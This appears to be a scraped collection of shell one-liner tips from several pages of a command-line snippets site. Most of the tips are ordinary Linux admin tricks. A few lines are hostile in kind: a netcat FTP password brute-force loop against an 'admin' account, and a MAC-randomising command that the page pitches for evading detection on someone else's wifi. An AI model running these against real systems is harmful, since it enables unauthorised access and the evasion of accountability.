-n -z -w 1 192.168.0.1 21-443 Useful when Nmap is not available:) Range declaration like X..X "for i in {21..29}" is only works with bash 3.0+ strace php tias.php -e open,access 2>&1 | grep foo.txt open("/var/www/test/filename.txt", O_RDONLY|O_LARGEFILE) = -1 EACCES (Permission denied) Functions: grep strace See why a program can't seem to access a file Sometimes a program refuses to read a file and you're not sure why. You may have display_errors turned off for PHP or something. In this example, fopen('/var/www/test/foo.txt') was called but doesn't have read access to foo.txt. Strace can tell you what went wrong. E.g., if php doesn't have read access to the file, strace will say "EACCESS (Permission denied)". Or, if the file path you gave doesn't exist, strace will say "ENOENT (No such file or directory)", etc. This works for any program you can run from the command-line, e.g., strace python myapp.py -e open,access... Note: the above command uses php-cli, not mod_php, which is a different SAPI with diff configs, etc. killall <name> Kill any process with one command using program name This will kill all. e.g. killall firefox VBoxManage startvm "name" Launch a VirtualBox virtual machine You can use this on your session login. ‹ First < 45 46 47 48 49 > Last › /bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v deag 213.87.86.160/27 213.87.86.192/31 213.87.87.0/24 213.87.88.0/24 91.135.210.0/24 Functions: grep read deaggregate ip ranges Taking file with ip ranges, each on it's own line like: cat ipranges.txt command returns deaggregated ip ranges using ipcalc deaggregate feature like that: Useful for configuring nginx geo module dig +short -x {ip} Check reverse DNS The +short option should make dig less chatty. rsync -a --delete --link-dest=../lastbackup $folder $dname/ create an incremental backup of a directory using hard links dname is a directory named something like 20090803 for Aug 3, 2009. lastbackup is a soft link to the last backup made - say 20090802. $folder is the folder being backed up. Because this uses hard linking, files that already exist and haven't changed take up almost no space yet each date directory has a kind of "snapshot" of that day's files. Naturally, lastbackup needs to be updated after this operation. I must say that I can't take credit for this gem; I picked it up from somewhere on the net so long ago I don't remember where from anymore. Ah, well... Systems that are only somewhat slicker than this costs hundreds or even thousands of dollars - but we're HACKERS! We don't need no steenkin' commercial software... :) wget -b http://dl.google.com/android/android-sdk_r14-linux.tgz background a wget download dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n List installed deb packages by size netstat -putona Show all programs on UDP and TCP ports with timer information -p PID and name of the program -t also TCP ports -o networking timer -n numeric IP addresses (don't resolve them) -a all sockets curl -s search.twitter.com | awk -F'</?[^>]+>' '/\/intra\/trend\//{print $2}' Print trending topics on Twitter mencoder -ovc copy -oac copy -of avi -o remuxed.avi original.avi Remux an avi video if it won't play easily on your media device When playback of AVI files (containing a video format like XviD or DivX) is stuttering, it in 90% of the files is caused by a poorly or wrongly interleaved file. The issue can be permanently resolved by RE-MUXING the AVI video-files that have this problem dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}' If you run this command on a VMWare Virtual Machine, it will return the string "VMware Virtual Platform". If you run it on a physical machine, it will return nothing. Useful for having a script determine if it's running on a VM or not. Of course, you must have dmidecode installed for this to work. Try it this way in a script: ISVM=$(dmidecode | awk '/VMware Virtual Platform/ {print $3,$4,$5}') Then test if $ISVM has text in it, or is blank. /lib/ld-linux.so.2 =(echo -e '#include <stdio.h>\nint main(){printf("c one liners\\n");}' | gcc -x c -o /dev/stdout -) c one liners Functions: c++ echo gcc C one-liners /lib/ld-linux.so.2 is the runtime linker/loader for ELF binaries on Linux. =(cmd) is a zsh trick to take the output for the command "inside" it and save it to a temporary file. echo -e 'blah' | gcc -x c -o /dev/stdout - pipes the C source to gcc. -x c tells gcc that it's compiling C (which is required if it's reading from a pipe). -o /dev/stdout - tells it to write the binary to standard output and read the source from standard input. because of the the =() thing, the compiled output is stashed in a tempfile, which the loader then runs and executes, and the shell tosses the tempfile away immediately after running it. curl -s "http://www.gravatar.com/avatar/`uuidgen | md5sum | awk '{print $1}'`?s=64&d=identicon&r=PG" | display generate random identicon curl http://www.phrack.org/archives/tgz/phrack[1-67].tar.gz -o phrack#1.tar.gz mplayer -vo null something.mpg Using mplayer to play the audio only but suppress the video Sometimes you only want to linsten the audio while output the video will be a waste of CPU resource and an annoying window. With option -vo null, you will enjoy the audio! indent -linux helloworld.c Use Linux coding style in C program put "-linux" option into $HOME/.indent.pro to make it default :r! <bash_command> ':r!ls -l' results in listing the files in the current directory and paste it into vi (reverse-i-search)`': Search previous commands from your .bash_history This is not actually a command, it's just a keyboard shortchut. But a very useful one. export HISTTIMEFORMAT='%F %T ' 4459 2009-09-26 19:04:42 ss -p | grep STA 4460 2009-09-26 19:05:30 lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +1 4461 2009-09-26 19:05:33 lsb_release -a 4462 2009-09-26 19:06:02 mkdir backup 4463 2009-09-26 19:08:54 seq -s " " -w 3 20 4464 2009-09-26 19:09:04 cat .bashrc | less 4465 2009-09-26 19:10:54 history grep -r -i "phrase" directory/ Recursively grep thorugh directory for string in file. -R, -r, --recursive Read all files under each directory, recursively; this is equivalent to the -d recurse option. history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r 8 wine See most used commands It will return a ranked list of your most commonly-entered commands using your command history zip -r foo.zip DIR -x "*/.svn/*" Create a zip file ignoring .svn files [ $1 == "client" ] && hostname || cat $0 | ssh $1 /bin/sh -s client Functions: cat hostname ssh Script executes itself on another host with one ssh command Now put more interesting stuff on the script in replacement of hostname, even entire functions, etc, and stuff. hosta> cat myScript.sh hosta> myScript.sh hostb hostb hosta> cd ${PWD/a/b} [root@centos manifests]# pwd /etc/puppet/modules/nfs/manifests [root@centos manifests]# cd ${PWD/nfs/packages} /etc/puppet/modules/packages/manifests .. or operate on a file in parallel directory [root@centos manifests]# vi ${PWD/packages/nfs}/init.pp [root@centos manifests]# cp -a ${PWD/packages/nfs}/init.pp . cd to (or operate on) a file across parallel directories This is useful for quickly jumping around branches in a file system, or operating on a parellel file. This is tested in bash. cd to (substitute in PWD, a for b) where PWD is the bash environmental variable for the "working directory" at 8:30 <<<'mpc volume 20; mpc play; for i in `seq 1 16`; do sleep 2; mpc volume +5; done' Functions: at sleep Set up alarm with fade-in, for graceful awakening There are a lot of commands, which invokes your player at specified time. But I prefer not to jump from by bed, when alarm start to play. Instead, this script increases volume of mpd over time, which much more pleasant when you just woke up :) enscript jrandom.txt -o - | ps2pdf - ~/tmp/jrandom.pdf (from file) or: ls | enscript -o - | ps2pdf - ~/tmp/ls.pdf (from stdout) create pdf files from text files or stdout. dpigs List your largest installed packages (on Debian/Ubuntu) dpigs is in the package debian-goodies (debian/ubuntu) ‹ First < 46 47 48 49 50 > Last › for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done } change exif data in all jpeg's this takes every jpg in the current directory and changes the exif data for manufactur and model. in my case i change it to LOMO LC-A because my scanner puts his data in there :] man <COMMAND> | less +'/pattern' Give to anyone a command to immediatly find a particular part of a man. Example : LC_ALL=C man less | less +/ppattern mplayer -tv driver=v4l2:gain=1:width=640:height=480:device=/dev/video0:fps=10:outfmt=rgb16 -vo aa tv:// ASCII webcam live stream video using mplayer Mplayer starts a webcam capture using ASCII art. Only mplayer required curl -I -H "Accept-Encoding: gzip,deflate" http://example.org Check if your webserver supports gzip compression with curl ssh-keygen -R \[localhost\]:8022 Remove invalid host keys from ~/.ssh/known_hosts Useful if you have to tunnel ssh through a local port and it complains of the host key being different. Much easier than manually editing the file. ls -la | sort -k 5bn Functions: ls sort Huh? Where did all my precious space go ? Sort ls output of all files in current directory in ascending order Just the 20 biggest ones: ls -la | sort -k 5bn | tail -n 20 A variant for the current directory tree with subdirectories and pretty columns is: find . -type f -print0 | xargs -0 ls -la | sort -k 5bn | column -t And finding the subdirectories consuming the most space with displayed block size 1k: du -sk ./* | sort -k 1bn | column -t awk -F'^"|", "|"$' '{ print $2,$3,$4 }' file.csv $ echo '"foo", "bar", "baz"' | awk -F'^"|", "|"$' '{ print $2,$3,$4 }' $ foo bar baz Parse a quoted .csv file The $2, $3, $4 fields are arbitrary but note that the first field starts from $2 and the last field is $NF-1. This is due to the fact that the leading and trailing quotes are treated as field delimiters. c() printf "\033c" #usage: c reset hosed terminal Alas, typing "reset" and pressing Enter does not always work, in my experience. dd if=/dev/urandom of=file.img bs=4KB& pid=$! Watch the progress of 'dd' Running this code will execute dd in the background, and you'll grab the process ID with '$!' and assign it to the 'pid' variable. Now, you can watch the progress with the following: while true; do kill -USR1 $pid && sleep 1 && clear; done The important thing to grasp here isn't the filename or location of your input or output, or even the block size for that matter, but the fact that you can keep an eye on 'dd' as it's running to see where you are at during its execution. find /backup/directory -name "FILENAME_*" -mtime +15 | xargs rm -vf Verbosely delete files matching specific name pattern, older than 15 days. trickle -d 60 wget http://very.big/file Limit bandwidth usage by any program Trickle is a voluntary, cooperative bandwidth shaper. it works entirely in userland and is very easy to use. The most simple application is to limit the bandwidth usage of programs. netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}' TIME_WAIT 60013 ESTABLISHED 37 Functions: awk netstat see the TIME_WAIT and ESTABLISHED nums of the network grep -Fxv -f file1 file2 lines in file2 that are not in file1 type <function name> $ command1 () { for m in 2010-{01..12} ; do m=$( echo $m | sed 's/-\([0-9]\)$/-0\1/' ) ; echo $m ; done } $ type command1 command1 is a function command1 () for m in 2010-{01..12}; do done Indent a one-liner. Bash builtin type also indents the function. crontest () { date '-d +2 minutes' +'%M %k %d %m *'; } 40 20 15 09 * Print a cron formatted time for 2 minutes in the future (for crontab testing) Another function to stick into your .bashrc This spits out the time two minutes in the future, but already formatted for pasting into your crontab file for testing without any thought required on your part. Frequently things don't work the way you expect inside a crontab job, and you probably want to find out now that your $PATH is completely different inside of cron or other global variables aren't defined. So this will generate a date you can use for testing now, and then later you can change it to run at 5:37 am on a Sunday evening. sed -i 3d ~/.ssh/known_hosts delete a particular line by line number in file deletes line 3 in known_hosts text file mplayer -vo dummy -ao dummy -identify your_video.avi Get information about a video file <CTRL+w> Erase a word nmap -PN -d -p445 --script=smb-check-vulns --script-args=safe=1 IP-RANGES Conficker Detection with NMAP cd() { builtin cd "${@:-$HOME}" && ls; } Redefine the cd command's behavior Often, the very next command after the cd command is 'ls', so why not combine them?. Tested on a Red Hat derivative and Mac OS X Leopard check the sample output below, the command was too long :( echo -e "\e[32m"; while :; do for i in {1..16}; do r=`echo -e "\x$(echo $(($(($RANDOM % 26)) + $(echo $([[ $(($RANDOM % 3)) == 1 ]] && echo -n 48 || echo -n $([[ $(($RANDOM % 3)) == 2 ]] && echo -n 97 || echo -n 65))))) 16 o p | dc)"`; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r "; else v+="\e[2m $r "; fi; else v+=" "; fi; done; echo -e "$v"; v=""; done Same as the cool matrix style command ( http://www.commandlinefu.com/commands/view/3652/matrix-style ), except replacing the printed character with randomness. The command mentioned is much faster and thus more true to the matrix. However, mine can be optimized, but I wasted ... i mean spent enough time on it already tshark -i any -T fields -R mysql.query -e mysql.query capture mysql queries sent to server ethstatus -i eth0 Consolle based network interface monitor ethstatus part of ethstatus package, is a consolle based monitor for network interfaces. Nicely display on screen a real time summary about bandwidth, speed and packets. xrandr --output LVDS --auto --output VGA --auto --right-of LVDS Configure second monitor to sit to the right of laptop You'll need to make sure your xorg.conf permits a virtual screen size this big. If it doesn't then xrandr should return a suitable error message that tells you the required size. alias timestamp='date "+%Y%m%dT%H%M%S"' 20090220T231410 Unix alias for date command that lets you create timestamps in ISO 8601 format I often need to add a timestamp to a file, but I never seem to remember the exact format string that has to be passed to the date command to get a compact datetime string like 20090220T231410 (i.e yyyymmddThhmmss, the ISO 8601 format popular outside the US) ‹ First < 47 48 49 50 51 > Last › box() { t="$1xxxx";c=${2:-=}; echo ${t//?/$c}; echo "$c $1 $c"; echo ${t//?/$c}; } $ box 'sample box' ============== = sample box = $ box 'the function foo() takes arguments "bar" and "baz", returns "floon"' '#' ####################################################################### # the function foo() takes arguments "bar" and "baz", returns "floon" # a function to create a box of '=' characters around a given string. First argument: string to put a box around. Second argument: character to use for box (default is '=') Same as command #4948, but shorter, and without the utility function. echo "SHOW PROCESSLIST\G" | mysql -u root -p | grep "Info:" | awk -F":" '{count[$NF]++}END{for(i in count){printf("%d: %s\n", count[i], i)}}' | sort -n Functions: awk echo grep sort Count the number of queries to a MySQL server egrep -o '\b[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\b' access.log | sort -u Functions: egrep sort diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa") Functions: diff ssh find the difference between two nodes info --vi-keys vi keybindings with info Info has some of the worst keybindings I've ever seen. Being a vim user, I attribute that to emacs influence. Use the --vi-keys option to use some of the vi keybindings, although this won't change all the keybindings. Use the "infokey" program to have more control over info keybindings. INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ] alanceil@kvirasim:22:20:1:~> /sbin/sfdisk -d disk.img # partition table of disk.img unit: sectors disk.img2 : start= 0, size= 0, Id= 0 disk.img3 : start= 0, size= 0, Id= 0 disk.img4 : start= 0, size= 0, Id= 0 root@kvirasim:22:20:0:~> INFILE=/home/alanceil/disk.img; MOUNTPT=/mnt/gen; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ] root@kvirasim:22:22:0:~> mount | grep gen /dev/loop0 on /mnt/gen type ext2 (rw,offset=32256) Functions: grep head mount sed tail Mount a partition from within a complete disk dump Suppose you made a backup of your hard disk with dd: dd if=/dev/sda of=/mnt/disk/backup.img This command enables you to mount a partition from inside this image, so you can access your files directly. Substitute PARTITION=1 with the number of the partition you want to mount (returned from sfdisk -d yourfile.img). php -r 'echo strtotime("2009/02/13 15:31:30")."\n";' 1234567890 run php code inline from the command line Most people know that you can run a PHP script from the command line like so: php ./my_script.php But sometimes I just want to run a quick bit of code, the PHP Command Line Interface allows me to do so with the -r option. Requires package php5-cli echo $(</tmp/foo) $ cat /tmp/foo bar foobar $ echo $(</tmp/foo) foo bar foobar bar foo Change newline to space in a file just using echo Changing newline to spaces using just echo while V=$((`date +%s -d"2010-01-01"`-`date +%s`));do if [ $V == 0 ];then figlet 'Happy New Year!';break;else figlet $V;sleep 1;clear;fi;done _ ____ _____ ___ ___ __ / |___ \|___ // _ \ ( _ ) / /_ | | __) | |_ \ (_) |/ _ \| '_ \ | |/ __/ ___) \__, | (_) | (_) | |_|_____|____/ /_/ \___/ \___/ climagic's New Year's Countdown clock This is the 140 character long new year's countdown timer that was posted to the climagic account on twitter and identi.ca. There are saner ways of doing this of course, but probably none of those would fit. Uses the figlet command, but of course you can replace figlet with just echo if you want. aptitude remove $(dpkg -l|awk '/^ii linux-image-2/{print $2}'|sed 's/linux-image-//'|awk -v v=`uname -r` 'v>$0'|sed 's/-generic//'|awk '{printf("linux-headers-%s\nlinux-headers-%s-generic\nlinux-image-%s-generic\n",$0,$0,$0)}') linux-headers-2.6.32-24 linux-headers-2.6.32-24-generic linux-headers-2.6.32-25 linux-headers-2.6.32-25-generic linux-headers-2.6.35-22 linux-headers-2.6.35-22-generic linux-image-2.6.32-24-generic linux-image-2.6.32-25-generic linux-image-2.6.35-22-generic 0 packages upgraded, 0 newly installed, 9 to remove and 0 not upgraded. Need to get 0B of archives. After unpacking 566MB will be freed. Functions: awk sed Note the double space: "...^ii␣␣linux-image-2..." Like 5813, but fixes two bugs: [1]This leaves the meta-packages 'linux-headers-generic' and 'linux-image-generic' alone so that automatic upgrades work correctly in the future. [2]Kernels newer than the currently running one are left alone (this can happen if you didn't reboot after installing a new kernel). I'm bummed that this took 228 characters. I'd like to see a simpler version. find ./ -type f -exec mv {} . \; Move all files in subdirectories to current dir until (ssh root@10.1.1.39 2> /dev/null); do date; sleep 15; done admin01 00:34 ~/ $ until (ssh root@10.1.1.39 2> /dev/null); do date; sleep 15; done Tue Mar 8 00:34:57 PST 2011 Tue Mar 8 00:35:12 PST 2011 root@10.1.1.39's password: Last login: Mon Mar 7 13:12:20 2011 from server001 [root@somehost ~]# do something else while waiting for an event, such as reboot In this case will execute "date" then "sleep 15" until we are able to ssh into server, such as after a reboot Could also be like: until ( ping 10.1.1.39 1> /dev/null); do echo "server 10.1.1.39 is down"; sleep 15; done perl -lne '$l{$_}=length;END{for(sort{$l{$a}<=>$l{$b}}keys %l){print}}' < /usr/share/dict/words | tail sort lines by length ffmpeg -i inputfile.mp4 outputfile.flv Quick and dirty convert to flash This converts any media ffmpeg handles to flash. It would actually convert anything to anything, it's based on the file extension. It doesn't do ANY quality control, sizing, etc, it just does what it thinks is best. I needed an flv for testing, and this spits one out easily. md5sum --check MD5SUMS | grep -v ": OK" Functions: grep md5sum Verify MD5SUMS but only print failures All valid files are withheld so only failures show up. No output, all checks good. tune2fs -m 1 /dev/sda6 Functions: tune2fs Unlock more space form your hard drive This command changes the reserved space for privileged process on '/dev/sda' to 1 per cent. screen /dev/ttyUSB0 38400 connects to a serial console e.g., 'screen -L /dev/ttyUSB0 38400' listens to your Holux M-241 GPS logger and turns on automatic logging lsof -Pnl +M -i4 List open IPv4 connections :ret retab in vim, tab to space or space to tab, useful in python usage: :[rang]ret[!][tabstop value] python is indent sensitive, after command :set list you may see your codes are mixed with tab and space ret can help you to convert space to tab or tab to space calendar ene 29 N'oubliez pas les Gildas ! ene 29 Bonne fte aux Sulpice ! ene 30 Franklin Delano Roosevelt born in Hyde Park, New York, 1882 ene 30 Mohandas Gandhi assassinated in New Delhi by Hindu fanatic, 1948 ene 30 Tet Offensive, 1968 ene 30 Lightnin' Hopkins, the most-recorded blues artist ever, dies, 1982 ene 30 Aujourd'hui, c'est la St(e) Martine. ene 30 Ernennung von Hitler zum Reichskanzler, 1933 Show some trivia related to the current date Contrary to logic, typing calendar won't show a calendar, that's the job of cal. Typing calendar will show some trivia related to the current date. Tested against many Linux distros and FreeBSD. ssh -A user@somehost the -A argument forwards your ssh private keys to the host you're going to. Useful in some scenarios where you have to hop to one server, and then login to another using a private key. sed -e "s/| /\n/g" ~/.bash_history | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head Functions: cut sed sort uniq See the 10 programs the most used curl -u <user>:<password> -d status="Amarok, now playing: $(dcop amarok default nowPlaying)" http://twitter.com/statuses/update.json Twit Amarok "now playing" song Share your "now playing" Amarok song in twitter! ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0 wlan0:0 Link encap:Ethernet HWaddr 00:07:5a:df:41:5c #<<-w00t new random MAC-<<# Functions: echo head ifconfig sudo Resets your MAC to a random MAC address to make you harder to find. Next time you are leaching off of someone else's wifi use this command before you start your bittorrent ...for legitimate files only of course. It creates a hexidecimal string using md5sum from the first few lines of /dev/urandom and splices it into the proper MAC address format. Then it changes your MAC and resets your wireless (wlan0:0). rename "s/ *//g" *.jpg Replace space in filename This commands removes space from all the files with specific extension. I've specifed *.jpg as an example. ‹ First < 48 49 50 51 52 > Last › alias va='vi ~/.aliases; source ~/.aliases && echo "aliases sourced"' va - alias for editing aliases When setting up a new aliases file, or having creating a new file.. About every time after editing an aliases file, I source it. This alias makes editing alias a bit easier and they are useful right away. Note if the source failed, it will not echo "aliases sourced". Sub in vi for your favorite editor, or alter for ksh, sh, etc. curl -A Mozilla http://www.google.com/search?q=test |html2text -width 80 Search Google from the command line Adjust Google domain and window width du --max-depth=1 Get the size of all the directories in current directory find ./backup -type f -print0 | xargs -0 md5sum > /checksums_backup.md5 Functions: find md5sum xargs recurisvely md5 all files in a tree Found this little gem here: http://info.michael-simons.eu/2008/10/25/recursively-md5sum-all-files-in-a-directory-tree/ seq -s'#' 0 $(tput cols) | tr -d '[:digit:]' [user@host ~]$ seq -s'#' 0 $(tput cols) | tr -d '[:digit:]' ################################################################################### [user@host ~]$ seq -s'-~' 0 $(( $(tput cols) /2 )) | tr -d '[:digit:]' -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- [user@host ~]$ seq -s'-~?' 0 $(( $(tput cols) /3 )) | tr -d '[:digit:]' -~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?-~?- Functions: seq tput tr Print a row of characters across the terminal. Uses tput to establish the current terminal width, and generates a line of characters just long enough to cross it. In the example '#' is used. It's possible to use a repeating sequence by dividing the columns by the number of characters in the sequence like this: seq -s'~-' 0 $(( $(tput cols) /2 )) | tr -d '[:digit:]' seq -s'-~?' 0 $(( $(tput cols) /3 )) | tr -d '[:digit:]' You will lose chararacters at the end if the length isn't cleanly divisible. rlwrap sqlite3 database.db SQLite version 3.6.22 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> Make any command read line enabled (on *nix) Enable readline even if the command line application is not using it. Unsetting HISTFILE avoid getting current session history list saved. amixer sset Master toggle Functions: amixer this toggles mute on the Master channel of an alsa soundcard grep . filename Remove newlines from output Remove newlines from output. One character shorter than awk /./ filename and doesn't use a superfluous cat. To be fair though, I'm pretty sure fraktil was thinking being able to nuke newlines from any command is much more useful than just from one file. echo "savedefault --default=2 --once" | grub --batch; sudo reboot Functions: echo sudo Reboot as a different OS in Grub This will reboot as the Grub 2 option. readlink -e /bin/ls /bin/ls Get the full path to a file Part of coreutils - so needs no extra package... find . -type f -print | xargs grep foo Functions: find grep xargs Find 'foo' string inside files pbpaste > newfile.txt Paste the contents of OS X clipboard into a new text file date -ud "1970-01-01 + 1234567890 seconds" $ date -ud "1970-01-01 + 1234567890 seconds" Fri Feb 13 23:31:30 UTC 2009 # and back again $ date -ud "Fri Feb 13 23:31:30 2009" +%s Convert unix timestamp to date The "-d" option for gnu's "date" command can calculate positive or negative offset from any time, including "now". You can even specify a source timezone (the output timezone can be set with the TZ environment variable). Useful! Fun! Not very well documented! cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.77.128 21 <ftp>ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done Functions: cat echo grep read Netcat ftp brute force ssh -f user@remote.ip DISPLAY=:0.0 smplayer movie.avi Start an X app remotely Launch a gui app remotely. In this example smplayer is installed on the remote machine, and movie.avi is in the remote user's home dir. Note that stdout/stderr is still local, so you'll have feedback locally, add '&>/dev/null' to suppress. This is surprisingly not well known (compared to running an X app locally via ssh -X). (NB. if your distro requires ~/.Xauthority file present, then try -fX if you have problems) Resubmitted (and trimmed, thanks sitaram) due to ridiculous voting on previous submission. Fingers crossed, it gets a better rating this time. define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Eo '<li>[^<]+'|sed 's/^<li>//g'|nl|/usr/bin/perl -MHTML::Entities -pe 'decode_entities($_)';} This version works on Mac (avoids grep -P, adding a sed step instead, and invokes /usr/bin/perl with full path in case you have another one installed). Still requires that you install perl module HTML::Entities ? here's how: http://www.perlmonks.org/?node_id=640489 grep -2 -iIr "err\|warn\|fail\|crit" /var/log/* Get all possible problems from any log files Using the grep command, retrieve all lines from any log files in /var/log/ that have one of the problem states On PC1: nc -l -p 6666 > /dev/dsp On PC2: cat /dev/dsp | nc <PC1's IP> 6666 Unencrypted voicechat Sends the microphone input from PC1 to the speakers of PC2. Do the same in reverse to have an actual conversation ;) ... maybe with another port tough lsof -p 15857 [root@kxt1 prod]# ps -ef | grep dhcp [root@kxt1 prod]# [root@kxt1 prod]# lsof -p 15857 List files opened by a PID Lis all files opened by a particular process id. "PID" wget -r ftp://user:pass@ftp.example.com If the username includes an @ you can use this one: wget -r --user=username_here --password=pass_here ftp://ftp.example.com qdbus org.kde.screenlocker /MainApplication quit Unlock your KDE4.3 session remotely The unlock command for KDE 4.3 has changed from krunner_lock, this process doesn't exist anymore. So here's the update :-) If qdbus complains about not being able to find X, put a "DISPLAY=:0 " (:0 being your X server display) in front of the command. pmap -d <<pid>> 00007f1a55e86000 4K 4K 0K 4K r--p 000000000001d000 08:02 /lib64/ld-2.8.so 00007f1a55e87000 4K 4K 4K 4K rw-p 000000000001e000 08:02 /lib64/ld-2.8.so 00007f1a560e9000 8K 8K 0K 8K r--p 0000000000061000 08:02 /usr/sbin/httpd2-prefork 00007fff5dffe000 8K 4K 0K 0K r-xp 00007fff5dffe000 00:00 [vdso] ffffffffff600000 4K 0K 0K 0K r-xp 0000000000000000 00:00 [vsyscall] 10188K writable-private, 232120K readonly-private, 168828K shared, and 44152K referenced Functions: pmap this command gives you the total number of memory usuage and open files by the perticuler PID. set -o noclobber $ > important $ set -o noclobber $ date >> important $ date > important bash: important: cannot overwrite existing file prevents replace an existing file by mistake Use set +o noclobber and you will be able to replace files again shred -u -z -n 17 rubricasegreta.txt Functions: shred How to secure delete a file Instead, install apt-get install secure-delete and you can use: -- srm to delete file and directory on hard disk -- smem to delete file in RAM -- sfill to delete "free space" on hard disk -- sswap to delete all data from swap ‹ First < 49 50 51 52 53 > Last › tr '[:lower:]' '[:upper:]' <"$1" Transforms a file to all uppercase. for f in t1.bmp t2.jpg t3.tga; do echo ${f%.*}.png; done t1.png t2.png t3.png Replace multiple file extensions with a single extension The above is just a prove of concept based around the nested bash substitution. This could be useful in situations where you're in a directory with many filetypes but you only want to convert a few. for f in *.bmp *.jpg *.tga; do convert $f ${f%.*}.png; done or you can use ls | egrep to get more specific... but be warned, files with spaces will cause a ruckus with expansion but the bash for loop uses a space delimited list. for f in $(ls | egrep "bmp$|jpg$|tga$"); do convert $f ${f%.*}.png; done I'm guessing some people will still prefer doing it the sed way but I thought the concept of this one was pretty neat. It will help me remember bash substitutions a little better :-P function autoCompleteHostname() { local hosts; local cur; hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) } complete -F autoCompleteHostname ssh Functions: awk cut Hostname tab-completion for ssh This is meant for the bash shell. Put this function in your .profile and you'll be able to use tab-completion for sshing any host which is in your known_hosts file. This assumes that your known_hosts file is located at ~/.ssh/known_hosts. The "complete" command should go on a separate line as such: function autoCompleteHostname() { local hosts=($(awk '{print $1}' ~/.ssh/known_hosts | cut -d, -f1)); local cur=${COMP_WORDS[COMP_CWORD]}; COMPREPLY=($(compgen -W '${hosts[@]}' -- $cur )) complete -F autoCompleteHostname ssh display "$(wget -q http://dynamic.xkcd.com/comic/random/ -O - | grep -Po '(?<=")http://imgs.xkcd.com/comics/[^"]+(png|jpg)')" random xkcd comic i sorta stole this from http://www.shell-fu.org/lister.php?id=878#MTC_form but it didn't work, so here it is, fixed. --- updated to work with jpegs, and to use a fancy positive look behind assertion. deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; } deadlib agetty cron dhcpcd irssi mdadm rsync syslog-ng tmux Functions: cut grep sort Shows what processes need to be restarted after system upgrade emerge,apt-get,yum... all update your system. This will at some point replace either a runtime dependency or a process (which is still running). This oneliner will list what processes need to be restarted hex() { printf "%X\n" $1; } convert from decimal to hexadecimal du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print' 150M /home/jharvey/scratch 100M /home/jharvey 567M /home/jdoe/migration Functions: du perl Find all directories on filesystem containing more than 99MB Finds all directories containing more than 99MB of files, and prints them in human readable format. The directories sizes do not include their subdirectories, so it is very useful for finding any single directory with a lot of large files. cd ../"$(ls -F ..|grep '/'|grep -B1 `basename $PWD`|head -n 1)" Go to the previous sibling directory in alphabetical order Based on linkinpark342 suggestion. Sometimes you have to browse your way through a lot of sub-directories. This command cd to the previous sub-directory in alphabetical order. For example, if you have the directories "lectures/01-intro", "lectures/02-basic", "lectures/03-advanced" and so on, and your PWD is "02-basic", it jumps to "01-intro". whois domainnametocheck.com | grep match Functions: grep whois Check if a domain is available and get the answer in just one line Returns nothing if the domain exists and 'No match for domain.com' otherwise. xclip file.txt copy file to clipboard Loads file content on clipboard. Very useful when text selection size is higher than console size. curl http://example.com/foo.tar.gz | tar zxvf - Extract a remote tarball in the current directory without having to save it locally tcpdump -w - |pv -bert >/dev/null # tcpdump -w - |pv -bert >/dev/null tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes 756kB 0:00:12 [67.5kB/s] Show network throughput Real gurus don't need fancy tools like iftop or jnettop. function cdls { cd $1; ls; } ~$ cdls Examples case_Contact.pdf kubuntu-leaflet.png case_howard_county_library.pdf logos case_KRUU.pdf oo-about-these-files.odt case_OaklandUniversity.pdf oo-about-ubuntu-ru.rtf case_oxford_archaeology.pdf oo-derivatives.doc case_Skegness.pdf oo-maxwell.odt case_ubuntu_johnhopkins_v2.pdf oo-payment-schedule.ods case_ubuntu_locatrix_v1.pdf oo-presenting-kubuntu.odp case_Wellcome.pdf oo-presenting-ubuntu.odp Experience ubuntu.ogg oo-trig.xls fables_01_01_aesop.spx oo-welcome.odt gimp-ubuntu-splash.xcf ubuntu Sax.ogg ~/Examples$ Fast command-line directory browsing After typing cd directory [enter] ls [enter] so many times, I figured I'd try to make it into a function. I was surprised how smoothly I was able to integrate it into my work on the command line. Just use cdls as you would cd. It will automatically list the directory contents after you cd into the directory. 